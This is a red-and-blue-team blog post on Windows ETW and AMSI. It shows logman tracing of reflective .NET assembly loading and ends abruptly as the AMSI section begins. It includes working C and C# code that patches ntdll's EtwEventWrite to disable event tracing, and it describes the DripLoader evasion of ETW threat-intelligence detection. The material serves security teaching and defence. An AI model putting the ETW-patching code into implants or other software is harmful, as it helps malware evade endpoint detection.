Comment on page
Maelstrom #6: Working with AMSI and ETW for Red and Blue
Implementing AMSI and ETW to catch the implant, and then looking at how to bypass it.

Last week we looked at three mechanisms which Event Detection and Response (EDR) programs can use to build suspicion and prevent the operation of a C2's implant. However there are mechanisms within Windows itself which can prevent the full function of a C2 implant, acting as a potent benefit to the defender and a worthy obstacle to the C2 operator.
As we mentioned last week, it can be surprisingly easy to get a functioning implant developed, and it can feel odd at times which behaviours and actions can be performed without issue and which invite undue attention. This is because not all actions are necessarily malicious and a defensive mechanism which prevents the use of the computer isn't helpful for productivity.
Over time, Microsoft has enhanced its built-in protections and opened these up to third party applications. EDR solutions are increasingly including these mechanisms and their telemetry, meaning that a contemporary C2 implant must either evade or negate these protections.
The second of two parts, this episode will look at two key Windows protections used by contemporary EDRs: ETW and AMSI.
This post will cover:
- Reviewing Event Tracing for Windows
- Where information is gathered
- How events can be manipulated
- How ETW TI can be evaded
- Reviewing Anti-Malware Scan Interface
- What detection looks like
- How AMSI has historically been bypassed
- How AMSI may continue to be bypassed
At the end of this second blog on endpoint protection, we will have looked at the five most prominent ways that modern EDRs can protect against malicious implants, and explored ways these protections can by bypassed. We will have gone from having an implant that can serve as a proof of concept with caveats to an implant which can act as part of our C2 and execute malicious traffic without detection.
To repeat the same caveat we have made in each of these blogs, the code from these posts is purely illustrative. There are thousands of potential detections and missteps which can pique an EDRs interest in an implant, and it would be remiss of us to release an implant without any flaws to the world. Plus, spaghetti code.
Before we look at how Event Tracing for Windows (ETW) can be leveraged for its Threat Intelligence facilities, we should first look at ETW itself - what is it, how does it work, and what is it for.
First introduced with Windows 2000, ETW was originally intended to offer detailed user and kernel logging which can be dynamically enabled or disabled without needing to restart the targeted process. This was originally and remains predominantly aimed at application debugging and optimisation. The early use of buffers and message queues, reminiscent of newer Web technologies such as Apache Kafka, aims to limit the system impact of tracing (logging) sessions - helpful when trying to debug the system impact of your process itself.
The core structure of ETW has barely changed since Windows 2000, although the process of sending and receiving logs has been overhauled a number of times to make it easier for third-party programs to integrate with ETW.
The Event Tracing API is broken into three distinct components:

Controllers are limited to users with admin rights, with some caveats.
Along-side the callbacks, Event Tracing for Windows Threat Intelligence provides tracing from the kernel and allows these traces to be consumed in various ways.
Within Windows, the
logman
binary exists which can be considered a Controller due to its functionality:Verbs:
create Create a new data collector.
query Query data collector properties. If no name is given all data collectors are listed.
start Start an existing data collector and set the begin time to manual.
stop Stop an existing data collector and set the end time to manual.
delete Delete an existing data collector.
update Update an existing data collector's properties.
import Import a data collector set from an XML file.
export Export a data collector set to an XML file.
The Providers
There's a huge list of the default providers available; while there are lists available for these, we can just list all the providers on the systems with logman:
logman query providers
Running this will produce a long list of providers. We will focus on
Microsoft-Windows-DotNETRuntime
for now.Running it again:
logman query providers Microsoft-Windows-DotNETRuntime
Resulting in:
Alternatively, for those more visually inclined, EtwExplorer by Pavel Yosifovich (zodiacon) was developed to explore ETW within a GUI.
Here is an example of the same provider from the logman query:
Sample Code
To play with ETW, we will try to detect a reflective
Assembly.Load
of a slim loader loading a proof-of-concept loadee executable:The Loader:
using System.Reflection;
namespace Loader
{
internal class Program
{
static void Main(string[] args)
{
Assembly assembly = Assembly.LoadFrom(@"C:\Users\mez0\Desktop\Loader\Example\bin\Debug\Example.exe");
assembly.EntryPoint.Invoke(null, null);
}
}
}
Then our Loadee, "Example.exe", which we will compile and the loader will access via reflection:
using System;
namespace Example
{
internal class Program
{
static void Main()
{
Console.WriteLine("--> Hello From Example.exe <--");
}
}
}
The Loader will call
Assembly.LoadFrom
on the Loadee, which simply prints to the screen. When it runs, the Loadee is displayed:Configuring a Controller
In order to see what ETW is doing, we need a controller to create, start, and stop our trace. For this, we can again use
logman
.First, we create our trace, providing the name of our session ("
pre.empt.etw
") and the -ets
flag which will send the commands directly to our event trace without scheduling or saving them:logman create trace pre.empt.etw -ets
Running this should ideally return the following:
The command completed successfully.
With our trace created, we can now query it to get its status and configuration using the following command:
logman query pre.empt.etw -ets
This should return something like this:
Note the output location, which is based on the name of our created trace. We will need this to open our trace within Event Viewer:
C:\Users\mez0\pre.empt.etw.etl
Once that's done, our new provider can be added to the controller:
logman update pre.empt.etw -p Microsoft-Windows-DotNETRuntime 0x2038 -ets
LoaderKeyword,JitKeyword,NGenKeyword,InteropKeyword
Querying it again:
Now that its setup, the assembly is run again and the
etl
file is opened in Event Viewer:Where
EventId
152 is:LoaderModuleLoad
And then 145 (
MethodJittingStarted_V1
):To stop this, just run:
logman stop pre.empt.etw -ets
Tampering with ETW
To neuter this function we will use the same ret 14h opcode bytes of c21400 and apply them to the beginning of the function
Then provides example code:
// Get the EventWrite function
void *eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");
// Allow writing to page
VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt);
// Patch with "ret 14" on x86
memcpy(eventWrite, "\xc2\x14\x00\x00", 4);
// Return memory to original protection
VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);
Lets update the
Loader
:using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Loader
{
internal class Program
{
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void PatchEtw()
{
IntPtr hNtdll = LoadLibrary("ntdll.dll");
IntPtr pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
byte[] patch = { 0xc3 };
_ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
Marshal.Copy(patch, 0, pEtwEventWrite, patch.Length);
_ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, oldProtect, out uint _);
}
private static void Main(string[] args)
{
Console.WriteLine("Inspect the AppDomains, then press any key...");
Console.ReadLine();
PatchEtw();
Console.WriteLine("ETW is patched! Recheck then press any key...");
Console.ReadLine();
Assembly assembly = Assembly.LoadFrom(@"C:\Users\mez0\Desktop\Loader\Example\bin\Debug\Example.exe");
assembly.EntryPoint.Invoke(null, null);
}
}
}
This has now been converted to a
x64
project, and the following function has been added:public static void PatchEtw()
{
IntPtr hNtdll = LoadLibrary("ntdll.dll");
IntPtr pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
byte[] patch = { 0xc3 };
_ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
Marshal.Copy(patch, 0, pEtwEventWrite, patch.Length);
_ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, oldProtect, out uint _);
}
This follows the logic set out by xpn, and has a
0xc3
, ret
, set on the NTDLL!EtwEventWrite
instruction.Before the patch:
Then after the patch:
So, the big question, does this matter to an actual ETW Event Tracing session?
Setting it back up:
The answer: kinda.
There is no reference to the Example.exe like there used to be. However, as the Loader first ran, then patched ETW, there are obviously still events for it from before the patch:
When combined with other heuristics, this can still be enough to act as an indicator of compromise - for instance, an EDR which enabled ETW then identifies a sudden halt of events for a process could still flag this as suspicious if the process can still be seen to be running.
Repairing ETW
If memory is being patched, is probably best to un-patch it once its done with. In this instance,
0xc3
becomes 0x4c
:byte[] breakEtw = { 0xc3 };
byte[] repairEtw = { 0x4c };
This is easy enough, it's just a call to the same function with a different byte value. The next thing, in the case of .NET, is to unload the assembly. This is a bit more fiddly but is achievable. We were able to solve this using:
First thing, create an
AppDomain
:AppDomain appDomain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
AppDomain.Load returns an Assembly and that’s where all goes wrong. Two AppDomains can’t just throw stuff at each other. The entire reason AppDomains exist is to be able to “sandbox” certain functionality within one application. Communication between AppDomains happens (almost) transparently to the user (the programmer…) using channels and proxies, but not entirely. You need to be aware that you can either pass objects by value (they need to implement ISerialize or be declared Serializable) to another AppDomain, or by reference, in which case the class needs to extend MarshalByRefObj.
The proposed solution is to use a class which inherits from
MarshalByRefObject
:public class Proxy : MarshalByRefObject
{
public Boolean InvokeAssembly(byte[] bytes)
{
try
{
Assembly assembly = Assembly.Load(bytes);
assembly.EntryPoint.Invoke(null, null);
return true;
}
catch (Exception)
{
return false;
}
}
}
Which can then be used to invoke the assembly from
bytes
:Proxy proxy = (Proxy)appDomain.CreateInstanceAndUnwrap(typeof(Proxy).Assembly.FullName, typeof(Proxy).FullName);
proxy.InvokeAssembly(File.ReadAllBytes(@"C:\Users\mez0\Desktop\Loader\Example\bin\x64\Debug\Example.exe"));
And then unload it:
AppDomain.Unload(appDomain);
Before moving away from this topic, an honourable mention is: Assembly.Lie – Using Transactional NTFS and API Hooking to Trick the CLR into Loading Your Code “From Disk”. This will not be discussed here, but is worth considering if operating from a .NET C2.
ETW provides a lot of tracing. However, there's a subsection of ETW that endpoint protection vendors take a lot of information from; namely solutions such as Microsoft Defender for Identity make heavy use of this, but it is: *Event Tracing for Windows Threat Intelligence.
The following screenshot shows the capabilities of ETW TI:
Memory/process/thread manipulation, driver events, all sorts. As more and more vendors get around to implementing this, visibility into endpoint becomes a lot clearer.
This is a huge topic and we won't cover it here, so here are some great references:
As an example, the following screenshot shows PreEmpt detecting Maelstrom reflectively loading the DLL:

On the left, maelstrom was executed. Then, on the right, PreEmpt has received an even containing all the information on the impacted memory region. Below is the full JSON:
{
"data": {
"allocation": "0x3000",
"protectType": "0x1d0000",
"protection": "0x40",
"regionsize": "73728",
"source_name": "C:\\Users\\admin\\Desktop\\maelstrom.unsafe.x64.exe",
"source_pid": "9708"
},
"id": "cd27e5a5-df06-4859-96f0-d0b207d21ebf",
"reason": "Malicious Activity Detected",
"task": "EtwTi Process Injection",
"time": "Tue May 3 19:34:33 2022"
}
When working with an EDR that makes use of ETWTi, remember that memory alterations, process/thread creations, etc; will all be digested. However, not all events will create a prevention/action, but the information will be logged. This is why we avoid the Twitter trope of:
As shown in Bypassing EDR real-time injection detection logic, this logic can be bypassed if the detection logic is weak. In the case of DripLoader, this bypasses detection by slowly adding more and more data to the region. As described in the blog, DripLoader avoids the ETWTi Memory Allocation alert by:
using the most risky APIs possible likeNtAllocateVirtualMemory
andNtCreateThreadEx
blending in with call arguments to create events that vendors are forced to drop or log&ignore due to volume avoiding multi-event correlation by introducing delays
Finally, for defenders, this is clearly a valuable interface, and one which EDRs are increasingly seeking to include. While not all agents currently gather ETW TI, mandiant's SilkETW is a quick way to include ETW within an ELK SOC.
The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.AMSI is agnostic of antimalware vendor; it's designed to allow for the most common malware scanning and protection techniques provided by today's antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.
For context, here is a diagram of the AMSI Architecture:

With script-based malware, it can be easily obfuscated. However, AMSI allows developers to scan the final buffer because, eventually, the code must de-obfuscate. How the Antimalware Scan Interface (AMSI) helps you defend against malware details this process very well with multiple examples.
Essentially, AMSI is an interface exposed by Microsoft which allows developers to register a provider, and use the functionality exposed. Traditionally, a DLL would be registered as seen in Developer audience, and sample code. As for the functions exposed:
Function | Description |
---|---|
Initialize the AMSI API. | |
Sends to the antimalware provider a notification of an arbitrary operation. | |
Opens a session within which multiple scan requests can be correlated. | |
Determines if the result of a scan indicates that the content should be blocked. | |
Scans a buffer-full of content for malware. | |
Scans a string for malware. | |
The benefit to this is that the detection logic is from Microsoft. Meaning a database of malware isn't required, and the provider can hook right into Microsoft's information.
Our sample tool Hunter has been updated to support AMSI and will be released at the end of this blog series.
AMSI is supported within the following namespace:
#ifndef AMSISCANNER_H
#define AMSISCANNER_H
#include "pch.h"